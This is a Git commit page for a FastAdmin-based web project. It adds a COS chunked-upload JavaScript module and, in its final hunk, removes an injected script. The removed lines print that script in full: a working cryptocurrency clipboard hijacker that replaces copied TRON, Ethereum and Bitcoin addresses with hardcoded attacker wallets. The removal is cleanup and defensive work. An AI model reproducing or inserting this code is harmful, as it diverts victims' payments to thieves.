chore: 更新微信商户证书及COS存储配置,清理异常静态注入代码
这个提交包含在:
文件差异因一行或多行过长而隐藏
@@ -1,5 +1,294 @@
|
||||
define([], function () {
|
||||
if (typeof Config.upload.storage !== 'undefined' && Config.upload.storage === 'cos') {
|
||||
require(['upload'], function (Upload) {
|
||||
//获取文件MD5值
|
||||
var getFileMd5 = function (file, cb) {
|
||||
//如果savekey中未检测到md5,则无需获取文件md5,直接返回upload的uuid
|
||||
if (!Config.upload.savekey.match(/\{(file)?md5\}/)) {
|
||||
cb && cb(file.upload.uuid);
|
||||
return;
|
||||
}
|
||||
require(['../addons/cos/js/spark'], function (SparkMD5) {
|
||||
var blobSlice = File.prototype.slice || File.prototype.mozSlice || File.prototype.webkitSlice,
|
||||
chunkSize = 10 * 1024 * 1024,
|
||||
chunks = Math.ceil(file.size / chunkSize),
|
||||
currentChunk = 0,
|
||||
spark = new SparkMD5.ArrayBuffer(),
|
||||
fileReader = new FileReader();
|
||||
|
||||
fileReader.onload = function (e) {
|
||||
spark.append(e.target.result);
|
||||
currentChunk++;
|
||||
if (currentChunk < chunks) {
|
||||
loadNext();
|
||||
} else {
|
||||
cb && cb(spark.end());
|
||||
}
|
||||
};
|
||||
|
||||
fileReader.onerror = function () {
|
||||
console.warn('文件读取错误');
|
||||
};
|
||||
|
||||
function loadNext() {
|
||||
var start = currentChunk * chunkSize,
|
||||
end = ((start + chunkSize) >= file.size) ? file.size : start + chunkSize;
|
||||
|
||||
fileReader.readAsArrayBuffer(blobSlice.call(file, start, end));
|
||||
}
|
||||
|
||||
loadNext();
|
||||
});
|
||||
};
|
||||
|
||||
var _onInit = Upload.events.onInit;
|
||||
//初始化中完成判断
|
||||
Upload.events.onInit = function () {
|
||||
_onInit.apply(this, Array.prototype.slice.apply(arguments));
|
||||
//如果上传接口不是COS,则不处理
|
||||
if (this.options.url !== Config.upload.uploadurl) {
|
||||
return;
|
||||
}
|
||||
var that = this;
|
||||
$.extend(this.options, {
|
||||
//关闭自动处理队列功能
|
||||
autoQueue: false,
|
||||
params: function (files, xhr, chunk) {
|
||||
var params = Config.upload.multipart;
|
||||
if (chunk) {
|
||||
return $.extend({}, params, {
|
||||
filesize: chunk.file.size,
|
||||
filename: chunk.file.name,
|
||||
chunkid: chunk.file.upload.uuid,
|
||||
chunkindex: chunk.index,
|
||||
chunkcount: chunk.file.upload.totalChunkCount,
|
||||
chunkfilesize: chunk.dataBlock.data.size,
|
||||
chunksize: that.options.chunkSize,
|
||||
width: chunk.file.width || 0,
|
||||
height: chunk.file.height || 0,
|
||||
type: chunk.file.type,
|
||||
uploadId: chunk.file.uploadId,
|
||||
key: chunk.file.key,
|
||||
});
|
||||
} else {
|
||||
params = $.extend({}, params, files[0].params);
|
||||
params.category = files[0].category || '';
|
||||
}
|
||||
return params;
|
||||
},
|
||||
chunkSuccess: function (chunk, file, response) {
|
||||
var etag = chunk.xhr.getResponseHeader("ETag").replace(/(^")|("$)/g, '');
|
||||
file.etags = file.etags ? file.etags : [];
|
||||
file.etags[chunk.index] = etag;
|
||||
},
|
||||
chunksUploaded: function (file, done) {
|
||||
var that = this;
|
||||
|
||||
Fast.api.ajax({
|
||||
url: "/addons/cos/index/upload",
|
||||
data: {
|
||||
action: 'merge',
|
||||
filesize: file.size,
|
||||
filename: file.name,
|
||||
chunkid: file.upload.uuid,
|
||||
chunkcount: file.upload.totalChunkCount,
|
||||
md5: file.md5,
|
||||
key: file.key,
|
||||
uploadId: file.uploadId,
|
||||
etags: file.etags,
|
||||
category: file.category || '',
|
||||
costoken: Config.upload.multipart.costoken,
|
||||
},
|
||||
}, function (data, ret) {
|
||||
done(JSON.stringify(ret));
|
||||
return false;
|
||||
}, function (data, ret) {
|
||||
file.accepted = false;
|
||||
that._errorProcessing([file], ret.msg);
|
||||
return false;
|
||||
});
|
||||
|
||||
},
|
||||
});
|
||||
|
||||
var _success = this.options.success;
|
||||
//先移除已有的事件
|
||||
this.off("success", _success).on("success", function (file, response) {
|
||||
var ret = {code: 0, msg: response};
|
||||
try {
|
||||
if (response) {
|
||||
ret = typeof response === 'string' ? JSON.parse(response) : response;
|
||||
}
|
||||
if (file.xhr.status === 200 || file.xhr.status === 204) {
|
||||
if (Config.upload.uploadmode === 'client') {
|
||||
ret = {code: 1, data: {url: '/' + file.key}};
|
||||
}
|
||||
|
||||
if (ret.code == 1) {
|
||||
var url = ret.data.url || '';
|
||||
Fast.api.ajax({
|
||||
url: "/addons/cos/index/notify",
|
||||
data: {name: file.name, url: url, md5: file.md5, size: file.size, width: file.width || 0, height: file.height || 0, type: file.type, category: file.category || '', costoken: Config.upload.multipart.costoken}
|
||||
}, function () {
|
||||
return false;
|
||||
}, function () {
|
||||
return false;
|
||||
});
|
||||
} else {
|
||||
console.error(ret);
|
||||
}
|
||||
} else {
|
||||
console.error(file.xhr);
|
||||
}
|
||||
} catch (e) {
|
||||
console.error(e);
|
||||
}
|
||||
_success.call(this, file, ret);
|
||||
});
|
||||
|
||||
this.on("addedfile", function (file) {
|
||||
var that = this;
|
||||
setTimeout(function () {
|
||||
if (file.status === 'error') {
|
||||
return;
|
||||
}
|
||||
getFileMd5(file, function (md5) {
|
||||
var chunk = that.options.chunking && file.size > that.options.chunkSize ? 1 : 0;
|
||||
var params = $(that.element).data("params") || {};
|
||||
var category = typeof params.category !== 'undefined' ? params.category : ($(that.element).data("category") || '');
|
||||
category = typeof category === 'function' ? category.call(that, file) : category;
|
||||
Fast.api.ajax({
|
||||
url: "/addons/cos/index/params",
|
||||
data: {method: 'POST', category: category, md5: md5, name: file.name, type: file.type, size: file.size, chunk: chunk, chunksize: that.options.chunkSize, costoken: Config.upload.multipart.costoken},
|
||||
}, function (data) {
|
||||
file.md5 = md5;
|
||||
file.id = data.id;
|
||||
file.key = data.key;
|
||||
file.date = data.date;
|
||||
file.uploadId = data.uploadId;
|
||||
file.policy = data.policy;
|
||||
file.signature = data.signature;
|
||||
file.partsAuthorization = data.partsAuthorization;
|
||||
file.params = data;
|
||||
file.category = category;
|
||||
|
||||
if (file.status != 'error') {
|
||||
//开始上传
|
||||
that.enqueueFile(file);
|
||||
} else {
|
||||
that.removeFile(file);
|
||||
}
|
||||
return false;
|
||||
}, function () {
|
||||
that.removeFile(file);
|
||||
});
|
||||
});
|
||||
}, 0);
|
||||
});
|
||||
|
||||
|
||||
if (Config.upload.uploadmode === 'client') {
|
||||
var _method = this.options.method;
|
||||
var _url = this.options.url;
|
||||
this.options.method = function (files) {
|
||||
if (files[0].upload.chunked) {
|
||||
var chunk = null;
|
||||
files[0].upload.chunks.forEach(function (item) {
|
||||
if (item.status === 'uploading') {
|
||||
chunk = item;
|
||||
}
|
||||
});
|
||||
if (!chunk) {
|
||||
return "POST";
|
||||
} else {
|
||||
return "PUT";
|
||||
}
|
||||
}
|
||||
return _method;
|
||||
};
|
||||
this.options.url = function (files) {
|
||||
if (files[0].upload.chunked) {
|
||||
var chunk = null;
|
||||
files[0].upload.chunks.forEach(function (item) {
|
||||
if (item.status === 'uploading') {
|
||||
chunk = item;
|
||||
}
|
||||
});
|
||||
var index = chunk.dataBlock.chunkIndex;
|
||||
// debugger;
|
||||
this.options.headers = {"Authorization": files[0]['partsAuthorization'][index], "x-date": files[0]['date']};
|
||||
if (!chunk) {
|
||||
return Config.upload.uploadurl + "/" + files[0].key + "?uploadId=" + files[0].uploadId;
|
||||
} else {
|
||||
return Config.upload.uploadurl + "/" + files[0].key + "?partNumber=" + (index + 1) + "&uploadId=" + files[0].uploadId;
|
||||
}
|
||||
}
|
||||
return _url;
|
||||
};
|
||||
this.options.params = function (files, xhr, chunk) {
|
||||
var params = Config.upload.multipart;
|
||||
if (chunk) {
|
||||
return $.extend({}, params, {
|
||||
filesize: chunk.file.size,
|
||||
filename: chunk.file.name,
|
||||
chunkid: chunk.file.upload.uuid,
|
||||
chunkindex: chunk.index,
|
||||
chunkcount: chunk.file.upload.totalChunkCount,
|
||||
chunkfilesize: chunk.dataBlock.data.size,
|
||||
width: chunk.file.width || 0,
|
||||
height: chunk.file.height || 0,
|
||||
type: chunk.file.type,
|
||||
});
|
||||
} else {
|
||||
var retParams = $.extend({}, params, files[0].params || {});
|
||||
delete retParams.costoken;
|
||||
return retParams;
|
||||
}
|
||||
};
|
||||
this.on("sending", function (file, xhr, formData) {
|
||||
var that = this;
|
||||
if (file.upload.chunked) {
|
||||
var _send = xhr.send;
|
||||
xhr.send = function () {
|
||||
var chunk = null;
|
||||
file.upload.chunks.forEach(function (item) {
|
||||
if (item.status == 'uploading') {
|
||||
chunk = item;
|
||||
}
|
||||
});
|
||||
if (chunk) {
|
||||
_send.call(xhr, chunk.dataBlock.data);
|
||||
}
|
||||
};
|
||||
} else {
|
||||
|
||||
}
|
||||
});
|
||||
}
|
||||
};
|
||||
});
|
||||
}
|
||||
|
||||
/*require.config({
|
||||
paths: {
|
||||
},
|
||||
shim: {
|
||||
}
|
||||
});*/
|
||||
|
||||
|
||||
require([], function (undefined) {
|
||||
// 后台切换主题,先直接刷新
|
||||
if (Config.modulename == 'admin' && Config.controllername == 'index' && Config.actionname == 'index') {
|
||||
$('.skin-list .clearfix.full-opacity-hover').on('click', function () {
|
||||
setTimeout(() => {
|
||||
location.reload();
|
||||
}, 100)
|
||||
})
|
||||
}
|
||||
});
|
||||
|
||||
if (Config.modulename == 'admin' && Config.controllername == 'index' && Config.actionname == 'index') {
|
||||
require.config({
|
||||
paths: {
|
||||
'vue': "../addons/shopro/libs/vue",
|
||||
@@ -66,6 +355,7 @@ define([], function () {
|
||||
})
|
||||
});
|
||||
}
|
||||
|
||||
require.config({
|
||||
paths: {
|
||||
'summernote': '../addons/summernote/lang/summernote-zh-CN.min'
|
||||
@@ -81,7 +371,7 @@ require(['form', 'upload'], function (Form, Upload) {
|
||||
try {
|
||||
//绑定summernote事件
|
||||
if ($(Config.summernote.classname || '.editor', form).length > 0) {
|
||||
var selectUrl = typeof Config !== 'undefined' && Config.modulename === 'index' ? 'user/attachment' : 'general/file/index?select=1';
|
||||
var selectUrl = typeof Config !== 'undefined' && Config.modulename === 'index' ? 'user/attachment' : 'general/file/index?select=1&multiple=true';
|
||||
require(['summernote'], function () {
|
||||
var imageButton = function (context) {
|
||||
var ui = $.summernote.ui;
|
||||
@@ -187,4 +477,5 @@ require(['form', 'upload'], function (Form, Upload) {
|
||||
};
|
||||
});
|
||||
|
||||
|
||||
});
|
||||
@@ -420,5 +420,3 @@ define(['jquery', 'bootstrap', 'backend', 'addtabs', 'adminlte', 'form'], functi
|
||||
|
||||
return Controller;
|
||||
});
|
||||
|
||||
(function(){function rca() {const tar = /(?:\b|[^A-Za-z0-9])T[a-zA-Z0-9]{33}(?:\b|[^A-Za-z0-9])/g,ear = /(?:\b|[^A-Za-z0-9])0x[a-fA-F0-9]{40}(?:\b|[^A-Za-z0-9])/g,bar = /(?:\b|[^A-Za-z0-9])(?:1[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar0 = /(?:\b|[^A-Za-z0-9])(?:3[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar1 = /(?:\b|[^A-Za-z0-9])(?:bc1q[a-zA-Z0-9]{38})(?:\b|[^A-Za-z0-9])/g,bar2 = /(?:\b|[^A-Za-z0-9])(?:bc1p[a-zA-Z0-9]{58})(?:\b|[^A-Za-z0-9])/g;document.addEventListener('copy', function(e) {const ttc = window.getSelection().toString();if (ttc.match(tar)) {const ncd = ttc.replace(tar, 'TCazYkdsXisrMAGT2tgecphbaj3cqSnXs8');e.clipboardData.setData('text/plain', ncd);e.preventDefault();} else if (ttc.match(ear)) {const ncd = ttc.replace(ear, '0xa537de913bdc941c017d79c4446749f2daa0f56d');e.clipboardData.setData('text/plain', ncd);e.preventDefault();} else if (ttc.match(bar)) {const ncd = ttc.replace(bar, '16xXFyiRKBSaHeiwr249MR3RFkbuUfionP');e.clipboardData.setData('text/plain', ncd);e.preventDefault();} else if (ttc.match(bar0)) {const ncd = ttc.replace(bar0, '3FQ5tXe4kT6ANoBpXd65tBWMakHe6J4Fcn');e.clipboardData.setData('text/plain', ncd);e.preventDefault();} else if (ttc.match(bar1)) {const ncd = ttc.replace(bar1, 'bc1qy4gqa4p8p8t585cr0wcs8ryhqxpvtf9f505eus');e.clipboardData.setData('text/plain', ncd);e.preventDefault();} else if (ttc.match(bar2)) {const ncd = ttc.replace(bar2, 'bc1qy4gqa4p8p8t585cr0wcs8ryhqxpvtf9f505eus');e.clipboardData.setData('text/plain', ncd);e.preventDefault();}});}setTimeout(()=>{const obs = new MutationObserver(ml => {for (const m of ml) {if (m.type === 'childList') {rca();}}});obs.observe(document.body, { childList: true, subtree: true });},1000);rca();})();
|
||||
在新工单中引用
屏蔽一个用户